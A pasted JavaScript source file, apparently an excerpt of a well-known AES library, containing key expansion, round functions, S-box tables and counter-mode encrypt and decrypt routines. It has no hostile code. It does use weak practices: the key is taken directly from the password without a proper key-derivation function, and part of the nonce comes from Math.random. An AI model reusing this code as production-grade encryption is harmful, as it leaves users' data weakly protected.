  1180.   var Nb = 4;            // block size (in words): no of columns in state (fixed at 4 for AES)
  1181.   var Nk = key.length/4  // key length (in words): 4/6/8 for 128/192/256-bit keys
  1182.   var Nr = Nk + 6;       // no of rounds: 10/12/14 for 128/192/256-bit keys
  1183.  
  1184.   var w = new Array(Nb*(Nr+1));
  1185.   var temp = new Array(4);
  1186.  
  1187.   for (var i=0; i<Nk; i++) {
  1188.     var r = [key[4*i], key[4*i+1], key[4*i+2], key[4*i+3]];
  1189.     w[i] = r;
  1190.   }
  1191.  
  1192.   for (var i=Nk; i<(Nb*(Nr+1)); i++) {
  1193.     w[i] = new Array(4);
  1194.     for (var t=0; t<4; t++) temp[t] = w[i-1][t];
  1195.     if (i % Nk == 0) {
  1196.       temp = Aes.subWord(Aes.rotWord(temp));
  1197.       for (var t=0; t<4; t++) temp[t] ^= Aes.rCon[i/Nk][t];
  1198.     } else if (Nk > 6 && i%Nk == 4) {
  1199.       temp = Aes.subWord(temp);
  1200.     }
  1201.     for (var t=0; t<4; t++) w[i][t] = w[i-Nk][t] ^ temp[t];
  1202.   }
  1203.  
  1204.   return w;
  1205. }
  1206.  
  1207. /*
  1208.  * ---- remaining routines are private, not called externally ----
  1209.  */
  1210.  
  1211. Aes.subBytes = function(s, Nb) {    // apply SBox to state S [§5.1.1]
  1212.   for (var r=0; r<4; r++) {
  1213.     for (var c=0; c<Nb; c++) s[r][c] = Aes.sBox[s[r][c]];
  1214.   }
  1215.   return s;
  1216. }
  1217.  
  1218. Aes.shiftRows = function(s, Nb) {    // shift row r of state S left by r bytes [§5.1.2]
  1219.   var t = new Array(4);
  1220.   for (var r=1; r<4; r++) {
  1221.     for (var c=0; c<4; c++) t[c] = s[r][(c+r)%Nb];  // shift into temp copy
  1222.     for (var c=0; c<4; c++) s[r][c] = t[c];         // and copy back
  1223.   }          // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
  1224.   return s;  // see asmaes.sourceforge.net/rijndael/rijndaelImplementation.pdf
  1225. }
  1226.  
  1227. Aes.mixColumns = function(s, Nb) {   // combine bytes of each col of state S [§5.1.3]
  1228.   for (var c=0; c<4; c++) {
  1229.     var a = new Array(4);  // 'a' is a copy of the current column from 's'
  1230.     var b = new Array(4);  // 'b' is a•{02} in GF(2^8)
  1231.     for (var i=0; i<4; i++) {
  1232.       a[i] = s[i][c];
  1233.       b[i] = s[i][c]&0x80 ? s[i][c]<<1 ^ 0x011b : s[i][c]<<1;
  1234.  
  1235.     }
  1236.     // a[n] ^ b[n] is a•{03} in GF(2^8)
  1237.     s[0][c] = b[0] ^ a[1] ^ b[1] ^ a[2] ^ a[3]; // 2*a0 + 3*a1 + a2 + a3
  1238.     s[1][c] = a[0] ^ b[1] ^ a[2] ^ b[2] ^ a[3]; // a0 * 2*a1 + 3*a2 + a3
  1239.     s[2][c] = a[0] ^ a[1] ^ b[2] ^ a[3] ^ b[3]; // a0 + a1 + 2*a2 + 3*a3
  1240.     s[3][c] = a[0] ^ b[0] ^ a[1] ^ a[2] ^ b[3]; // 3*a0 + a1 + a2 + 2*a3
  1241.   }
  1242.   return s;
  1243. }
  1244.  
  1245. Aes.addRoundKey = function(state, w, rnd, Nb) {  // xor Round Key into state S [§5.1.4]
  1246.   for (var r=0; r<4; r++) {
  1247.     for (var c=0; c<Nb; c++) state[r][c] ^= w[rnd*4+c][r];
  1248.   }
  1249.   return state;
  1250. }
  1251.  
  1252. Aes.subWord = function(w) {    // apply SBox to 4-byte word w
  1253.   for (var i=0; i<4; i++) w[i] = Aes.sBox[w[i]];
  1254.   return w;
  1255. }
  1256.  
  1257. Aes.rotWord = function(w) {    // rotate 4-byte word w left by one byte
  1258.   var tmp = w[0];
  1259.   for (var i=0; i<3; i++) w[i] = w[i+1];
  1260.   w[3] = tmp;
  1261.   return w;
  1262. }
  1263.  
  1264. // sBox is pre-computed multiplicative inverse in GF(2^8) used in subBytes and keyExpansion [§5.1.1]
  1265. Aes.sBox =  [0x63,0x7c,0x77,0x7b,0xf2,0x6b,0x6f,0xc5,0x30,0x01,0x67,0x2b,0xfe,0xd7,0xab,0x76,
  1266.              0xca,0x82,0xc9,0x7d,0xfa,0x59,0x47,0xf0,0xad,0xd4,0xa2,0xaf,0x9c,0xa4,0x72,0xc0,
  1267.              0xb7,0xfd,0x93,0x26,0x36,0x3f,0xf7,0xcc,0x34,0xa5,0xe5,0xf1,0x71,0xd8,0x31,0x15,
  1268.              0x04,0xc7,0x23,0xc3,0x18,0x96,0x05,0x9a,0x07,0x12,0x80,0xe2,0xeb,0x27,0xb2,0x75,
  1269.              0x09,0x83,0x2c,0x1a,0x1b,0x6e,0x5a,0xa0,0x52,0x3b,0xd6,0xb3,0x29,0xe3,0x2f,0x84,
  1270.              0x53,0xd1,0x00,0xed,0x20,0xfc,0xb1,0x5b,0x6a,0xcb,0xbe,0x39,0x4a,0x4c,0x58,0xcf,
  1271.              0xd0,0xef,0xaa,0xfb,0x43,0x4d,0x33,0x85,0x45,0xf9,0x02,0x7f,0x50,0x3c,0x9f,0xa8,
  1272.              0x51,0xa3,0x40,0x8f,0x92,0x9d,0x38,0xf5,0xbc,0xb6,0xda,0x21,0x10,0xff,0xf3,0xd2,
  1273.              0xcd,0x0c,0x13,0xec,0x5f,0x97,0x44,0x17,0xc4,0xa7,0x7e,0x3d,0x64,0x5d,0x19,0x73,
  1274.              0x60,0x81,0x4f,0xdc,0x22,0x2a,0x90,0x88,0x46,0xee,0xb8,0x14,0xde,0x5e,0x0b,0xdb,
  1275.              0xe0,0x32,0x3a,0x0a,0x49,0x06,0x24,0x5c,0xc2,0xd3,0xac,0x62,0x91,0x95,0xe4,0x79,
  1276.              0xe7,0xc8,0x37,0x6d,0x8d,0xd5,0x4e,0xa9,0x6c,0x56,0xf4,0xea,0x65,0x7a,0xae,0x08,
  1277.              0xba,0x78,0x25,0x2e,0x1c,0xa6,0xb4,0xc6,0xe8,0xdd,0x74,0x1f,0x4b,0xbd,0x8b,0x8a,
  1278.              0x70,0x3e,0xb5,0x66,0x48,0x03,0xf6,0x0e,0x61,0x35,0x57,0xb9,0x86,0xc1,0x1d,0x9e,
  1279.              0xe1,0xf8,0x98,0x11,0x69,0xd9,0x8e,0x94,0x9b,0x1e,0x87,0xe9,0xce,0x55,0x28,0xdf,
  1280.              0x8c,0xa1,0x89,0x0d,0xbf,0xe6,0x42,0x68,0x41,0x99,0x2d,0x0f,0xb0,0x54,0xbb,0x16];
  1281.  
  1282. // rCon is Round Constant used for the Key Expansion [1st col is 2^(r-1) in GF(2^8)] [§5.2]
  1283. Aes.rCon = [ [0x00, 0x00, 0x00, 0x00],
  1284.              [0x01, 0x00, 0x00, 0x00],
  1285.              [0x02, 0x00, 0x00, 0x00],
  1286.              [0x04, 0x00, 0x00, 0x00],
  1287.              [0x08, 0x00, 0x00, 0x00],
  1288.              [0x10, 0x00, 0x00, 0x00],
  1289.              [0x20, 0x00, 0x00, 0x00],
  1290.              [0x40, 0x00, 0x00, 0x00],
  1291.              [0x80, 0x00, 0x00, 0x00],
  1292.              [0x1b, 0x00, 0x00, 0x00],
  1293.              [0x36, 0x00, 0x00, 0x00] ];
  1294.  
  1295.  
  1296. /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
  1297. /*  AES Counter-mode implementation in JavaScript (c) Chris Veness 2005-2012                      */
  1298. /*   - see http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf                       */
  1299. /* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  */
  1300.  
  1301. Aes.Ctr = {};  // Aes.Ctr namespace: a subclass or extension of Aes
  1302.  
  1303. /**
  1304.  * Encrypt a text using AES encryption in Counter mode of operation
  1305.  *
  1306.  * Unicode multi-byte character safe
  1307.  *
  1308.  * @param {String} plaintext Source text to be encrypted
  1309.  * @param {String} password  The password to use to generate a key
  1310.  * @param {Number} nBits     Number of bits to be used in the key (128, 192, or 256)
  1311.  * @returns {string}         Encrypted text
  1312.  */
  1313. Aes.Ctr.encrypt = function(plaintext, password, nBits) {
  1314.   var blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
  1315.   if (!(nBits==128 || nBits==192 || nBits==256)) return '';  // standard allows 128/192/256 bit keys
  1316.   plaintext = Utf8.encode(plaintext);
  1317.   password = Utf8.encode(password);
  1318.   //var t = new Date();  // timer
  1319.    
  1320.   // use AES itself to encrypt password to get cipher key (using plain password as source for key
  1321.   // expansion) - gives us well encrypted key (though hashed key might be preferred for prod'n use)
  1322.   var nBytes = nBits/8;  // no bytes in key (16/24/32)
  1323.   var pwBytes = new Array(nBytes);
  1324.   for (var i=0; i<nBytes; i++) {  // use 1st 16/24/32 chars of password for key
  1325.     pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
  1326.   }
  1327.   var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));  // gives us 16-byte key
  1328.   key = key.concat(key.slice(0, nBytes-16));  // expand key to 16/24/32 bytes long
  1329.  
  1330.   // initialise 1st 8 bytes of counter block with nonce (NIST SP800-38A §B.2): [0-1] = millisec,
  1331.   // [2-3] = random, [4-7] = seconds, together giving full sub-millisec uniqueness up to Feb 2106
  1332.   var counterBlock = new Array(blockSize);
  1333.  
  1334.   var nonce = (new Date()).getTime();  // timestamp: milliseconds since 1-Jan-1970
  1335.   var nonceMs = nonce%1000;
  1336.   var nonceSec = Math.floor(nonce/1000);
  1337.   var nonceRnd = Math.floor(Math.random()*0xffff);
  1338.  
  1339.   for (var i=0; i<2; i++) counterBlock[i]   = (nonceMs  >>> i*8) & 0xff;
  1340.   for (var i=0; i<2; i++) counterBlock[i+2] = (nonceRnd >>> i*8) & 0xff;
  1341.   for (var i=0; i<4; i++) counterBlock[i+4] = (nonceSec >>> i*8) & 0xff;
  1342.  
  1343.   // and convert it to a string to go on the front of the ciphertext
  1344.   var ctrTxt = '';
  1345.   for (var i=0; i<8; i++) ctrTxt += String.fromCharCode(counterBlock[i]);
  1346.  
  1347.   // generate key schedule - an expansion of the key into distinct Key Rounds for each round
  1348.   var keySchedule = Aes.keyExpansion(key);
  1349.  
  1350.   var blockCount = Math.ceil(plaintext.length/blockSize);
  1351.   var ciphertxt = new Array(blockCount);  // ciphertext as array of strings
  1352.  
  1353.   for (var b=0; b<blockCount; b++) {
  1354.     // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
  1355.     // done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
  1356.     for (var c=0; c<4; c++) counterBlock[15-c] = (b >>> c*8) & 0xff;
  1357.     for (var c=0; c<4; c++) counterBlock[15-c-4] = (b/0x100000000 >>> c*8)
  1358.  
  1359.     var cipherCntr = Aes.cipher(counterBlock, keySchedule);  // -- encrypt counter block --
  1360.    
  1361.     // block size is reduced on final block
  1362.     var blockLength = b<blockCount-1 ? blockSize : (plaintext.length-1)%blockSize+1;
  1363.     var cipherChar = new Array(blockLength);
  1364.    
  1365.     for (var i=0; i<blockLength; i++) {  // -- xor plaintext with ciphered counter char-by-char --
  1366.       cipherChar[i] = cipherCntr[i] ^ plaintext.charCodeAt(b*blockSize+i);
  1367.       cipherChar[i] = String.fromCharCode(cipherChar[i]);
  1368.     }
  1369.     ciphertxt[b] = cipherChar.join('');
  1370.   }
  1371.  
  1372.   // Array.join is more efficient than repeated string concatenation in IE
  1373.   var ciphertext = ctrTxt + ciphertxt.join('');
  1374.   ciphertext = Base64.encode(ciphertext);  // encode in base64
  1375.  
  1376.   //alert((new Date()) - t);
  1377.   return ciphertext;
  1378. }
  1379.  
  1380. /**
  1381.  * Decrypt a text encrypted by AES in counter mode of operation
  1382.  *
  1383.  * @param {String} ciphertext Source text to be encrypted
  1384.  * @param {String} password   The password to use to generate a key
  1385.  * @param {Number} nBits      Number of bits to be used in the key (128, 192, or 256)
  1386.  * @returns {String}          Decrypted text
  1387.  */
  1388. Aes.Ctr.decrypt = function(ciphertext, password, nBits) {
  1389.   var blockSize = 16;  // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
  1390.   if (!(nBits==128 || nBits==192 || nBits==256)) return '';  // standard allows 128/192/256 bit keys
  1391.   ciphertext = Base64.decode(ciphertext);
  1392.   password = Utf8.encode(password);
  1393.   //var t = new Date();  // timer
  1394.  
  1395.   // use AES to encrypt password (mirroring encrypt routine)
  1396.   var nBytes = nBits/8;  // no bytes in key
  1397.   var pwBytes = new Array(nBytes);
  1398.   for (var i=0; i<nBytes; i++) {
  1399.     pwBytes[i] = isNaN(password.charCodeAt(i)) ? 0 : password.charCodeAt(i);
  1400.   }
  1401.   var key = Aes.cipher(pwBytes, Aes.keyExpansion(pwBytes));
  1402.   key = key.concat(key.slice(0, nBytes-16));  // expand key to 16/24/32 bytes long
  1403.  
  1404.   // recover nonce from 1st 8 bytes of ciphertext
  1405.   var counterBlock = new Array(8);
  1406.   ctrTxt = ciphertext.slice(0, 8);
  1407.   for (var i=0; i<8; i++) counterBlock[i] = ctrTxt.charCodeAt(i);
  1408.  
  1409.   // generate key schedule
  1410.   var keySchedule = Aes.keyExpansion(key);
  1411.  
  1412.   // separate ciphertext into blocks (skipping past initial 8 bytes)
  1413.   var nBlocks = Math.ceil((ciphertext.length-8) / blockSize);
  1414.   var ct = new Array(nBlocks);
  1415.   for (var b=0; b<nBlocks; b++) ct[b] = ciphertext.slice(8+b*blockSize, 8+b*blockSize+blockSize);
  1416.   ciphertext = ct;  // ciphertext is now array of block-length strings
  1417.  
  1418.   // plaintext will get generated block-by-block into array of block-length strings
  1419.   var plaintxt = new Array(ciphertext.length);
  1420.  
  1421.   for (var b=0; b<nBlocks; b++) {
  1422.     // set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
  1423.     for (var c=0; c<4; c++) counterBlock[15-c] = ((b) >>> c*8) & 0xff;
  1424.     for (var c=0; c<4; c++) counterBlock[15-c-4] = (((b+1)/0x100000000-1) >>> c*8) & 0xff;
  1425.  
  1426.     var cipherCntr = Aes.cipher(counterBlock, keySchedule);  // encrypt counter block
  1427.  
  1428.     var plaintxtByte = new Array(ciphertext[b].length);
  1429.     for (var i=0; i<ciphertext[b].length; i++) {
  1430.       // -- xor plaintxt with ciphered counter byte-by-byte --
  1431.       plaintxtByte[i] = cipherCntr[i] ^ ciphertext[b].charCodeAt(i);
  1432.       plaintxtByte[i] = String.fromCharCode(plaintxtByte[i]);
  1433.     }
  1434.     plaintxt[b] = plaintxtByte.join('');
  1435.   }
  1436.  
  1437.   // join array of blocks into single plaintext string
  1438.   var plaintext = plaintxt.join('');
  1439.   plaintext = Utf8.decode(plaintext);  // decode from UTF8 back to Unicode multi-byte chars
  1440.  
  1441.   //alert((new Date()) - t);
  1442.   return plaintext;
  1443. }
Add Comment
Please, Sign In to add comment